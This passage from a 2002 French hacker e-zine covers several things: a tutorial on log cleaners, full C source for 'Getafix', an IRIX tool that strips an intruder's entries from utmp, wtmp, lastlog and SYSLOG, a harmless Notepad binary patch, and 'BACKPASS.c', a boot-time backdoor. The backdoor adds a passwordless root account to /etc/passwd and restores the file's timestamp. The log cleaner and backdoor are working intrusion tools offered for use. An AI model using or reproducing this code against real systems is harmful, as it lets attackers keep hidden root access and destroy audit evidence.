dont vous voulez effaer les traes. Le nom en question est 
gnralement entr en arguement :

     struct utmp u;

     if(strcpy(u.ut_name,argv[1])==0){
        fprintf(stdout,"L'entre lue dans la structure utmp est la bonne\n"); 
        fprintf(stdout,"On l'effae!\n");
     }





   C. Illustration :
   _________________



  |
  v = la tte de lecture/criture.
  A = l'entre  effaer.
  B = l'entre suivante.



                                 | position de la tte au dpart, structure vide.
                                 v
Ouverture du fichier :           AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBB

                                                     |  la structure contient AAA...
La premire entre est lue       <_____lecture______>v
et plae dans la strucutre :    AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBB
  

                                                     |  la structure contient maintenant 000...  
bzero remplit la structure                           V
avec des 000000 :                AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBB

      
                                 | la tte est en position et la strucure contient toujours 000...
On recule la tte                v
avec lseek() :                   AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBB
      



write() crit le contenu                             |  
de la structure  la plae                           v 
de l'ancienne entre :           00000000000000000000BBBBBBBBBBBBBBBBBBBBBBBB




J'espre que vous avez  prsent une ide claire de la manire dont un log cleaner
standard gre les fichiers utmp/wtmp/lastlog. Mais nous allons voir, que cette mthode 
est perfectible.








   D. Critiques :
   ______________
 


[Zap2 zapp ]

La mthode dont je viens de vous parler est celle de Zap2. On ouvre le fichier,
on met la premire entre dans une structure, on cherche la bonne entre, on 
bourre la structure de 0, on se dcale, on copie le contenu de la structure,
et on ferme le fichier. Simple, efficace, mais dtectable ...
En effet, si un vrificateur d'intgrit tourne sur la machine, celui-ci peut
se baser sur la prsence suspecte d'une chaine de zros dans un fichier de log
pour alerter de la prsence d'un visisteur indsirable.
Zap2 se fait vieux, d'autres ont pris la relve.














                       - | Partie II : Nouvelle Mthode | -

                                  => Fonctionnement
                                  => Programmation

 



   A. Fonctionnement :
   ___________________




[ La relve ]

Ils s'apellent vanish, cloack, ou hideme et sont plus performant que Zap2 sur 
deux points : d'une part, car ils traitent plus de fichiers ( prise en charge 
de utmpx/wtmpx, messages, maillog, secure, xferlog ) et d'autre part, car ils
utilisent une mthode de nettoyage plus discrte comme nous allons le voir.
Je voudrais prciser un dtail avant d'aller plus loin :
le fait que ces cleaners plus rcents nettoyent plus de fichiers, est  la 
fois un point positif et ngatif ; posifit car vos traces seront effaes 
plus en profondeur, mais ngatif puisque cela vous cantonne  un OS bien prcis.
Ils prennent en charge maillog et secure, super, c'est parfait pour linux ...
mais si on se trouve sous IRIX, a nous sert pas  grand'chose, vu que sous cet
OS, il n'y a ni de fichier "secure" ni de "messages" d'ailleurs, les rles de
ces fichiers tant assurs par "SYSLOG". 

Si vous voulez utiliser un de ces cleaners sous un OS diffrent de celui pour lequel 
ils ont t penss, vos traes ne seront effaes que de utmp/wtmp/lastlog, ce qui 
n'est dja pas si mal me direz vous ; cela reviendrait au mme que d'utiliser Zap2, 
la mthode de nettoyage mise  part. Ce que j'essaye de vous dire avec plus ou moins
de succs, c'est qu'il vaut mieux utiliser un log cleaner qui se limite  utmp/wtmp/
lastlog, lorsque vous tes sur un systme "exotique" pour lequel il n'y a pas de cleaner 
adapt, et nettoyer manuellement les autres fichiers spcifiques  cet OS. 
Wipeout est  mon avis un bon compromis entre polyvalence et qualit de nettoyage.
                




[ L'ide ]

Nous voulons que les fichiers de log ne contienne pas trae de notre connection.
En somme, aucune entre ne nous derrange dans ces fichies  part la notre.
Deux solutions : soit on supprime l'entre en l'crasant, soit on garde toutes
les entres sauf celle-ci. L'ide dveloppe par les autres cleaners est donc
de copier dans un fichier temporaire toutes les entres d'un fichier de log
mis  part l notre. Ce fichier temporaire ressemblera donc en tout point au vrai
mais notre entre n'y figurera pas. Il ne restera plus qu' copier ce nouveau fichier
par dessus l'original. 



[ En pratique ]

Voici comment se droule une session de "nettoyage" d'un fichier, disons "utmp" :
Le prog. ouvre le fichier utmp en lecture ; il cre un fichier temporaire et l'ouvre
en criture. Il lit les entre une par une depuis utmp. Il lit donc la premire entre
et la plae dans une structure de type utmp. Il compare le champ ut_name ; s'il correspond
au nom d'user que vous avez entr en argument, il compare alors le champ ut_host ; si
ce champ correspond  l'hote que vous voulez effaer, le prog sait qu'il est en prsence
de la bonne entre ; dans ce cas, il ne la copie pas dans le fichier temporaire. En effet,
seront sauvegardes dans le fichier temporaire toutes les entres sauf la ntre. 
Les deux fichiers sont ensuite referms, puis le temporaire vient craser l'original, 
l'entre cible a donc disparu. En rsum :

        Ouverture de utmp en lecture.
        Cration d'un fichier temporaire ouvert en criture.
        Lectures des entres depuis utmp dans une structure de type utmp.
        Comparaison du champ ut_name avec argv[1].
        Compariason du champ ut_host avec argv[2].
        Ecriture dans le fichier temporaire des entres qui ne correspondent pas.
        Fermeture du fichier utmp et du temporaire.
        Remplaement du fichier utmp par sa copie.

                                           
Nous allons voir comment crire cela.







    B. Programmation :
    __________________



On va aller beaucoup plus vite que dans la pratie 1/B, vu toutes les fontions
ncessaires ici ont dja t tudies plus haut. Nous allons voir ce qui se 
passe dans le cas du fichier utmp :

On commene par ouvrir le fichier de log tout en grant l'erreur :


       size=sizeof(u);
       if((input=open(UTMP, O_RDONLY))<0){
            fprintf(stderr,"Error during processing %s!/n",UTMP);
            close(input); exit(-1);
       }

C'est ensuite au tour de la copie :


       if((output=creat(NEWUTMP, O_CREAT | O_WRONLY))<0){
               fprintf(stderr,"Error during processing %s!/n",UTMP);
            close(input); exit(-1);
       }


Nos deux fichiers sont donc ouverts, l'un en lecture, l'autre en criture, sur deux
descripteurs diffrents, respectivement input et output. On va donc lire les entres
depuis utmp, sur le descripteur d'entre, et les plaer dans la structure de type
utmp, dfinie au pralable ; comme plus haut, on va utiliser read :

               
        while((read(input, &u, size))>0){

Voila, on compare donc la premire entre avec le nom d'utilisateur que vous
voulez effaer et avec le nom d'hte :

        if(strncmp(u.ut_host,host,strlen(host))==0){
            if(strncmp(u.ut_name,user,strlen(user))==0){
                            
            } 
        }

On referme directe les if() et on ne fait rien, car si les noms
concordent, c'est qu'on tient l'entre  effaer ; comme on ne veut pas la 
garder, on ne la copie pas dans le fichier temporarie, cela va de soit.
Sinon, c'est une entre qui ne nous derrange pas, donc on la copie en 
direction du descripteur de sortie :

        else{

          write(output,&u,size);

        }
    }
 }

 close(input);
 close(output);

On referme les la boucle while() et les if() puis les descripteurs ; 
Il nous reste  craser l'ancien fichier utmp avec le nouveau : 

          unlink(UTMP);                
          link(NEWUTMP,UTMP);       
          chmod(UTMP,00644);        
          unlink(NEWUTMP);          
        
            
Nos traes sont  prsent effaes de utmp, sans avoir eus recours  bzero.
Vous voyez que c'est une mthode assez simple. Notez que c'est l'quivalent
en C de la commande "grep -v chaine old >> new" qui copie dans "new" toutes
les entres de "old" ne contenant pas  "chaine". 







Conclusion :
____________

A l'issue de cette article, vous savez dsormais programmer un cleaner utilisant 
l'une ou l'autre mthode de nettoyage. Si toutefois vous avez des questions, des 
critiques ou des suggestions  me faire parvenir au sujet de ce texte, vous savez 
o m'crire.






















-------------------------------------------------------------------------------------
VII.                   Getafix V1.0                                        Neofox
-------------------------------------------------------------------------------------



[ Introduction ]

Voici un log cleaner pour IRIX ; j'avais dans l'ide de lui trouve un nom rimant
en 'x' et << get a fix >> s'est impos de lui mme ; ce nom doit tre vocateur
pour qui a saisit le jeu de mots. Comme toute version 1.0, celle-ci est tout 
fait perfectible et je l'amliorerai surement dans quelques temps.



[ Quelques explications ]

 Sous irix, /var/adm/lastlog n'est pas un fichier mais un rpertoire. 
Pour faire court, on dira que les derniers logins sont enregistrs dans
un fichier distinct pour chaque utilisateur. Ainis, si vous vous utilisez
le compte "toto", il vous faudra nettoyer /var/adm/lastlog/toto,
- je ne sais pas pourquoi je fais une fixation sur toto - .
Getafix dtermine automatiquement la position du fichier lastlog pour
le compte que vous utilisez, pas besoin donc de modfier le source.

 Le fichier /var/adm/SYSLOG est l'quivalent sous irix des fichiers
/var/log/messages et /var/log/secure sous linux. 

 J'ai rencontr un petit problme en crivant ce prog : il semblerait que
sous irix, dumoins sous les 6.5 sur lesquelles je l'ai test, la structure
"utmp" n'ait pas de champ "ut_hosts". Les entres de utmp et de wtmp sont 
donc recherche seulement par logins, ce qui a pour consquences qu'une mauvaise 
entre risque d'tre effae en plus de la bonne ; pour l'instant, il faudra 
faire avec, et comme on dit, on ne fait pas d'omelettes sans casser des oeufs.
Voici la bte ...





/*  GETAFIX V1.0  -by Neofox  03/02
 *
 * Here is a log cleaner designed for IRIX.
 * It cleans utmp, wtmp, lastlog and SYSLOG
 * without zeroing entries out. 
 * To compile : gcc getafix.c -o getafix
 *
 * Tested on IRIX 6.5
 *
 */



#include <stdio.h> /* fprintf */
#include <unistd.h> /* system */
#include <string.h> /* strncmp, lseek */
#include <stdlib.h> /* I don't remeber */
#include <fcntl.h> /* open, close */
#include <sys/stat.h> /* stat */
#include <sys/types.h> /* stat */
#include <pwd.h> /* getpwnam */
#include <utmp.h> /* struct utmp, wtmp */
#include <lastlog.h> /* struct lastlog */

/* Original log files */
#define UTMP "/var/adm/utmp"
#define WTMP "/var/adm/wtmp"
#define LASTLOGDIR "/var/adm/lastlog/"
#define SYSLOG "/var/adm/SYSLOG"

/* Cleaned log files */
#define NEWUTMP "/tmp/.utmp"
#define NEWWTMP "/tmp/.wtmp"
#define NEWLASTLOG "/tmp/.lastlog"
#define NEWSYSLOG "/tmp/.SYSLOG"

/* here comes buffer for SYSLOG */
#define BIGSIZE 9999999
char buf[BIGSIZE];

char lastlog[50];

/* File descriptors */
int input, output;
FILE *in, *out; 
 

/* Counters */
int i, count, size;


/* Structures */
struct passwd *pwd;
struct utmp u;
struct utmp w;
struct lastlog l; 
struct stat status;







int main (int argc, char *argv[]){

       if(argc!=3){
           fprintf(stderr,"Usage : %s <user> <host>\n", argv[0]);
           exit(1);
       }

       if(geteuid()!=0){
           fprintf(stderr,"%s is not suid root, aborting!\n", argv[0]);
           exit(-1);
       } 
     
       fprintf(stderr, "[*]-Getafix v1.0  -by Neofox [IOC]\n");
       if((pwd=getpwnam(argv[1]))==NULL){
             fprintf(stderr,"[*]-%s : no such user!\n", argv[1]);
             exit(-1);
       }              
        
       


       /**************************************************/
       /*               PROCESSING WTMP                  */ 
       /**************************************************/ 
       fprintf(stdout,"[1]-Checking %s : ",WTMP);
       size=sizeof(w);
       if((input=open(WTMP, O_RDONLY))<0){
            fprintf(stdout,"access refused ?!\n");
            close(input);
       }
       
       if((output=creat(NEWWTMP, O_CREAT | O_WRONLY))>0){
             while((read(input, &w, size))>0){
                 if(strncmp(w.ut_name,argv[1],strlen(argv[1]))==0){
                                 i++; count++;
                 }else{
                    write(output,&w,size);
                 } 
            } 
      } 

       if(i>0){
         fprintf(stdout,"%d track(s) removed\n",i);
           
       }
       else{
          fprintf(stdout,"No such entry, aborting\n"); 
       }
           
       close(input);
       close(output);


       /**************************************************/
       /*               PROCESSING UTMP                  */ 
       /**************************************************/ 
       fprintf(stdout,"[2]-Checking %s : ",UTMP);
       size=sizeof(u);
       if((input=open(UTMP, O_RDONLY))<0){
            fprintf(stdout,"access refused ?!\n");
            close(input);
       }
      
       if((output=creat(NEWUTMP, O_CREAT | O_WRONLY))>0){
               while((read(input, &u, size))>0){
                 if(strncmp(u.ut_name,argv[1],strlen(argv[1]))==0){
                      i=0; i++; count++;
                  }else{
                      write(output,&u,size);
                  }
     
               } 
       }
       
       
       if(i>=1){
              fprintf(stdout,"%d track(s) removed\n",i); 
       }     

       else{
          fprintf(stdout,"No such entry, aborting\n"); 
       }

       close(input);
       close(output);


       /**************************************************/
       /*              PROCESSING LASTLOG                */ 
       /**************************************************/ 
       strcat(lastlog,LASTLOGDIR); strcat(lastlog,argv[1]);
       fprintf(stdout,"[3]-Checking %s : ",lastlog);
       size=sizeof(l);
       if((input=open(lastlog, O_RDONLY))<0){
            fprintf(stdout,"access refused ?!\n");
            close(input);
       }

       
       if((output=creat(NEWLASTLOG, O_CREAT | O_WRONLY))>0){
               while((read(input, &l, size))>0){
                   if(strncmp(l.ll_host,argv[2],strlen(argv[2]))==0){
                         i=0; i++; count++;
                  }else{
                     write(output,&l,size); 
                  }
               } 
        }
  

       if(i>=1){
         fprintf(stdout,"%d track(s) removed\n",i); 
       }
       else{
          fprintf(stdout,"No such entry, aborting\n"); 
       }
       
       close(input);
       close(output);


       /**************************************************/
       /*             PROCESSING SYSLOG                  */ 
       /**************************************************/ 
       if(stat(SYSLOG,&status)==-1){
           fprintf(stderr,"There's no %s here!\n",SYSLOG);
           goto error; 
       }     
        
       fprintf(stdout,"[4]-Checking %s : ",SYSLOG);
       if((in=fopen(SYSLOG,"r+"))<0){
            fprintf(stdout,"access refused ?!\n");
            fclose(in);
       }
         
      
       if((out=fopen(NEWSYSLOG,"w+"))>0){
            while(fgets(buf,size,in)!=NULL){
               if((strstr(buf,argv[1])==0)&&(strstr(buf,argv[2])==0)){
                    fputs(buf,out);
               }else{
                i++, count++;   
               }
            }
       }
       fclose(in);
       fclose(out);

           
       if(i>0){
          fprintf(stdout,"%d track(s) removed\n",i);
       }
       else{
          fprintf(stdout,"No such entry, aborting\n");
       }  
       
       
       /* this label is used if SYSLOG doesn't exists */ 
       error : 

       /* check if it's allright */
       if(count==0){
          fprintf(stderr,"[*]-No entries found :");
          fprintf(stderr," you're maybe not safe !\n");
          exit(1);
       }



        /**************************************************/
       /*             REPLACING LOG FILES                 */ 
       /**************************************************/ 
        
        /* Removing original log files */
        unlink(WTMP);                
        unlink(UTMP);               
        unlink(lastlog);   
        unlink(SYSLOG);     
    
        /* New log files have been replaced */
        link(NEWWTMP,WTMP);       
        link(NEWUTMP,UTMP);          
        link(NEWLASTLOG,lastlog);
        link(NEWSYSLOG,SYSLOG);
   
        /* Mode is going to be set to 644 */
        chmod(WTMP,00644);        
        chmod(UTMP,00644);          
        chmod(lastlog,00644); 
        chmod(SYSLOG,00644); 

        /* Erasing our /tmp files */
        unlink(NEWWTMP);          
        unlink(NEWUTMP);          
        unlink(NEWLASTLOG); 
        unlink(NEWSYSLOG);       


        /* well, congratulations !*/ 
        if(count>=3){
           fprintf(stderr,"[*]-Good job, tracks succesfully removed!\n"); 
        }else{
           fprintf(stderr,"[*]-Tracks partially removed!\n");
        }
     

  return 0;


}





























---------------------------------------------------------------------------------------------------
VIII.              Corriger le "bug" du Notepad de Windows                          Emper0r
----------------------------------------------------------------------------------------------------



[ Introduction ]

A partir d'une certaine taille le notepad de windows ne peut plus ouvrir les txt
et nous demande si on veut l'ouvrir avec le worpad. Ca me parait assez idiot si 
on a envie de lire ce txt on s'en fou que ce soit avec le notepad ou le worpad ; 
moi ca m'nerve d'appuyer sur OUI a chaque fois. 
Je vais apporter une petite modif trs simple pour virer cette boite et worpad 
s'ouvrira automatiquement, quand le fichier sera trop important pour tre ouvert 
avec notepad.







[ Au travail ]

Pour trouver l'endroit o s'ouvre cette boite 2 solutions:

-Avec softice:
Je lance le notepad ; je pose un 'bpx messageboxa' ; ensuite avec le notepad j'ouvre
un .txt de grande taille, la softice break je me retrouve direct sur le call qui 
ouvre la msgbox.

-Avec WDASM:
Je dessasemble ce notepad et je regarde les imported functions, (Imp Fn).
Je recherche toute les rfrencs a l'api MessageBoxA ; a partir de la troisime, 
je trouve quelque chose d'interrsent:


* Reference To: USER32.MessageBoxA, Ord:01ACh
                               |
:004033B1 FF15A8644000         Call dword ptr [004064A8]       ->Affiche la MessageBoxA
:004033B7 83F806               cmp eax, 00000006	       ->EAX=6 si appui sur OUI	
:004033BA 0F85A7000000         jne 00403467 		       ->Si EAX diffrent de 6
:004033C0 6804010000           push 00000104                     alors saute en 403467
:004033C5 8D858CFDFFFF         lea eax, dword ptr [ebp+FFFFFD8C]
:004033CB 837D1001             cmp dword ptr [ebp+10], 00000001
:004033CF 1BFF                 sbb edi, edi
:004033D1 50                   push eax
:004033D2 83C737               add edi, 00000037

* Possible Reference to String Resource ID=00056: "wordpad.exe" ->Intrssant
                               |
:004033D5 6A38                 push 00000038
:004033D7 FF3540554000         push dword ptr [00405540]

* Reference To: USER32.LoadStringA, Ord:019Eh		       ->Permet le lancement du
                               |			         Wordpad
:004033DD FF1520644000         Call dword ptr [00406420]



[ Explications ]

En 4033B1 ou on ouvre la MessageBoxA avec les bouton OUI et NON si on appui
sur OUI alors EAX=6, dans ce cas le saut en 4033BA n'est pas effectuer et on 
voit en 4033d5 et 4033D7 les 2 push qui initialise l'api LoadStringA qui permet 
de lancer le Wordpad.


Maintenant trs simple on va remplace le 'Call dword ptr [004064A8]' en 4033B1 par un 
'mov EAX, 00000006'. De cette facon la messagebox n'est pas affiche, EAX sera toujours = a 6, 
le saut n'est pas effectu et le worpad ce lance.

Pour trouver le code hexa de 'mov EAX, 00000006' avec wdasm:
Debug, patch code et on tape: mov eax, 6  ENTRE, ce qui nous donne B806000000.

on remplace a l'offset 33B1:
FF15A8644000
par
B80600000090  --> TRES IMPORTANT: ne pas oublier de rajouter un NOP a la fin pour obtenir
                                  le mme nombres d'octets.
                  

Ce qui donne:

:004033B1 B806000000              mov eax, 00000006
:004033B6 90                      nop
:004033B7 83F806                  cmp eax, 00000006
:004033BA 0F85A7000000            jne 00403467
:004033C0 6804010000              push 00000104
:004033C5 8D858CFDFFFF            lea eax, dword ptr [ebp+FFFFFD8C]
:004033CB 837D1001                cmp dword ptr [ebp+10], 00000001
:004033CF 1BFF                    sbb edi, edi
:004033D1 50                      push eax
:004033D2 83C737                  add edi, 00000037

* Possible Reference to String Resource ID=00056: "wordpad.exe"
                                  |
:004033D5 6A38                    push 00000038
:004033D7 FF3540554000            push dword ptr [00405540]

* Reference To: USER32.LoadStringA, Ord:019Eh
                                  |
:004033DD FF1520644000            Call dword ptr [00406420]





[ Conclusion ]

Voil c'est tout, je pense que c'est la faon la plus simple et la plus propre de faire.


































-----------------------------------------------------------------------------------------------
IX.                 Une petite backdoor                                    Neofox
-----------------------------------------------------------------------------------------------


NAME: BACKPASS.c V1.0

DATE: 12/03/02

DESCRIPTION: Petite backdoor excute  chaque dmarrage qui 
examine le contenu de /etc/passwd  la recherche d'une ligne
UID/GID 0 et passwordless. Si cette ligne n'existe pas alors
l'entre "jsmith::0:0:John Smith:/home/jsmith:/bin/sh"   est
ajoute dans le milieu du fichier de mots de passe.  La date
de ce fichier est ensuite remplae par celle de la dernire
modification. Les comptes utilisateurs sont rangs par ordre
d'UID croissant. Pour dterminer le milieu du fichier, cette
backdoor se base sur la valeur des UID. Si les ID  des users
s'chelonnent entre 100 et 5000, attribuez une valeur  comme
2500  "CENTERUID". Ainsi, la nouvelle entre sera plae au
milieu de celles des autres utilisateurs.

USAGE: Modifiez le script  de dmarrage appropri de manire
 faire laner cet excutable  chaque reboot. Il s'agit  en 
gnral de /etc/rc.d/rc.local. Regardez l'allure des entres
du fichier passwd et editez les #define en consquence.



--------------8<--------------------------------------------



/* BACKPASS.c V1.0   -by Neofox  */


#include <stdio.h> /* fprintf */
#include <unistd.h> /* system */
#include <pwd.h> /* getpwnam */
#include <time.h> /* localetime_r */
#include <fcntl.h> /* fopen, fclose */
#include <string.h> /* strcat */
#include <sys/stat.h> /* stat */
#include <sys/types.h> /* stat */
#define PASSWD "/etc/passwd"
#define CENTERUID 500 

/* let's define our account */
#define USER "jsmith"
#define PWD "" 
#define UID 0  
#define GID 0  
#define GECOS "John Smith"  
#define DIR "/home/jsmith" 
#define SHELL "/bin/sh" 

int i; /* counter */
FILE *output; /* file descriptor */

struct tm t; /* time */
struct stat status; /* stat */
struct passwd *pwd; /* euh ? */



/* here's what we'll need to change date */
time_t date;
int year, month, day, hour, min;
char newtime[50], change[50];
char annee[5],mois[5],j[5],h[5],m[5];






void changedate(){

/* to convert time value */ 
/*   on a normal date   */
date=status.st_ctime;
localtime_r(&date,&t);
year=1900+t.tm_year;
month=1+t.tm_mon;
day=t.tm_mday; 
hour=t.tm_hour;
min=t.tm_min;

/* We must have [yyyymmddhhmm] */
sprintf(annee,"%d",year);
if(month<10){ sprintf(mois,"0%d",month); }
else { sprintf(mois,"%d",month); }
if(day<10){ sprintf(j,"0%d",day); }
else { sprintf(j,"%d",day); }
if(hour<10){ sprintf(h,"0%d",hour); }
else { sprintf(h,"%d",hour); }
if(min<10){ sprintf(m,"0%d",min); }
else { sprintf(m,"%d",min); }   

/* copying all in a buffer */ 
strcat(newtime, annee);
strcat(newtime, mois);
strcat(newtime, j);
strcat(newtime, h);
strcat(newtime, m);

/* executing buffer */
sprintf(change,"touch -t %s %s",newtime,PASSWD);
system(change);

}






int main (int argc, char *argv[]){

         
        if(argc!=1){
            exit(1);
        }

        if(geteuid()!=0){
              exit(1);
        }
                
        /* if backdoor is already on */
        if((pwd=getpwnam(USER))!=0){
             exit(1);
        }
       
        /* Looking for /etc/passwd date */      
        if((stat(PASSWD,&status))<0){
            exit(-1);
        } 

        if((output=fopen(PASSWD, "rw+"))>0){
               i=1; 
                while((pwd=getpwent())>0){
                      putpwent(pwd,output);
                      if(pwd->pw_uid>300){
                           if(i>0){
                               fprintf(output,"%s:",USER);
                               fprintf(output,"%s:",PWD);
                               fprintf(output,"%d:",UID);
                               fprintf(output,"%d:",GID);
                               fprintf(output,"%s:",GECOS);
                               fprintf(output,"%s:",DIR); 
                               fprintf(output,"%s",SHELL);
                               fprintf(output,"\n");i=0; 
                      }     
                 }
           }
           
        fclose(output); 
        
      }
    
      /* Now, we have  to */
      /* restore the date */

      changedate();



 return 0;


}

--------------8<--------------------------------------------






















----------------------------------------------------------------------------------------
X.                         Profil : Neofox                    Par Neofox, ben tien ...
----------------------------------------------------------------------------------------


Ah, voici venir enfin, le moment que vous attendez avec impatience : 
Nous allons parler de mon sujet prfr entre tous, j'ai nomm ... MOA !!

-[ Voix off ] << pfff ... remballe ton ego mon grand ! >>

Bon, trve de plaisanterie.
Je vais vous brosser mon portrait, non pas justement dans un lan d'egocentrisme, 
mais pour que vous puissiez avoir une ide de celui  qui vous avez  faire. 

Commenons par le commenement :
Je m'apelle Xxxx-Xxxxxxxxx Xxxx, mais pour vous ce sera neofox.
Je suis n par un beau matin de fvrier, un jeudi je crois, aux alentours de 4h55  
 la maternit du 3 me tage, mais comme tout le monde s'en pte  juste raison,
retenez simplement que je suis du dbut des annes 80, et d'ailleurs, je ne prciserais
pas mon ge exact ; Je n'ai pas vraiemment le profil scientifique ; ma prof de math, 
cette s...... m'a mme trait de fumiste un jour. Enfin, passons. Tout gamin, j'tais 
passionn d'astronomie, je le suis toujours ; c'est  cette poque - je devais avoir 
8 ou 10ans - que j'ai touch pour la premire fois un ordi, dans la salle info du club 
d'astro, mais a ne compte pas. Contrairement  certains petits veinards qui ont attaqu 
la prog assez jeunes - je parle de toi Meik -  j'ai eu mon premier vrai contact 
avec un PC et mon premier PC  moi, assez tardivement, vers l'ge de 15 ans ; 
malheureusement je ne suis pas venu directement  la programmation. 

Rien ne me destinait donc  faire carrire en informatique, c'est d'ailleurs pour a que
je ne ferai jamais carrire, dommage.    Hein ? ... depuis quand je hack ? 
Ca tombe bien que vous me posiez cette question ; enfait, je ne 'hack' pas ; je prfre,
de loin, mais alors de loin, parler de piratage ; de toute faon, l'essentiel de mon 
activit se compose de programmation. J'ai dvelopp cette passion un peu par hasard ; 
c'tait il y  un peu plus d'un an, mes premiers pas en programmation remontant  Janvier 
2001. J'ai pleinement conscience de n'tre pas elite dans ce domaine, mais je garde espoir 
d'arriver un jour  ce niveau. Dans l'immdiat, je me dfinis comme << apprenti >>,
mais de toute manire, nous sommes tous en perptuel apprentissage, non ?
En Juillet 2001, Meik m'a propos de me joindre  lui pour l'criture de ce mag et
j'ai trouv l'ide intessante pour deux raisons : tout dabord, car l'criture  
d'articles me permet de structurer mes conaissances sur un sujet prcis ; ensuite, car
cela me pousse  explorer de nouvelles notions ; je prends des notes, je paufine ce
que je savais dja, j'approfondis, et c'est le rsultat que je publie dans ce mag ; 
tant mieux si a peut servir  quelqu'un. En somme, faire partie de ce petit groupe 
est trs enrichissant. Par ailleurs, je dois avouer que c'est plus sympa de participer
 l'laboration d'un projet en commun, que de se retrouver  coder tout seul dans son
coin. Voila, c'est  peu prs tout ...

      ***  Pour participer activement  l'amlioration de  ***
           mon cadre de vie, envoyez vos dons  l'adresse 
           qui s'affiche en bas de votre cran. Merci.














--------------------------------------------------------------------------------------------
XI.                                 CONTACTS                                   IOC Staff
--------------------------------------------------------------------------------------------


                          
                  ONT PARTICIPE A L'ELABORATION CE CE MAGAZINE :

               
               Meik       :    meik666@hotmail.com         #150635264       
               Neofox     :    neo_fox_2001@hotmail.com    #150837448
               Emper0r    :    emper0r@secureroot.com      #66985563
               Disk-Lexic :    buffergohst@caramail.com

 
                       EN COLLABORATION EXCEPTIONELLE AVEC : 

               Androgyne  :    rtcandrogyne@yahoo.fr       #?







       ____    ___    __ __     ____  __   __   __  ___  __    ___    __ __ 
      /  __| /     \ |  '_  \  /  __||  | |  | |  |/ __/|  | /     \ |  '_  \  
     |  [__ |  [ ]  ||  | |  ||  [__ |  |_|   -   |\__ \|  ||  [ ]  ||  | |  |
      \____| \_____/ |__| |__| \____||____|\______||___/|__| \_____/ |__| |__| 

             
              
         C'est tout pour l'instant ; quelle(s) conclusion(s) pouvons nous 
         tirer de cette nouvelle issue ? Eh bien, qu'elle a t pour nous
         l'occasion d'une collaboration sympa, entre plusieurs passionns
         tous domaines confondus, c'est dja a ! Nous souhaiterions voir
         ce mouvement s'intensifier au cours des issues  venir, mais  a
         dpendra de vous ; bref, pour conclure cette conclusion, - comme
         quoi, c'est un travail structur ;@)  -  nous esprons  que vous
         avez aprci ces quelques articles et nous vous  donnons  rendez
         -vous  la sortie du prochain numro ;  on  va terminer  sur une 
         petite pense bien connue: << Give Chang a fish, you'll food him 
         for a day. Teach Chang how to fish, you'll food him for the rest 
         of this life >> ;  mditer. 
         
          
                                  



   



                          - Copyright  2002 [IOC] -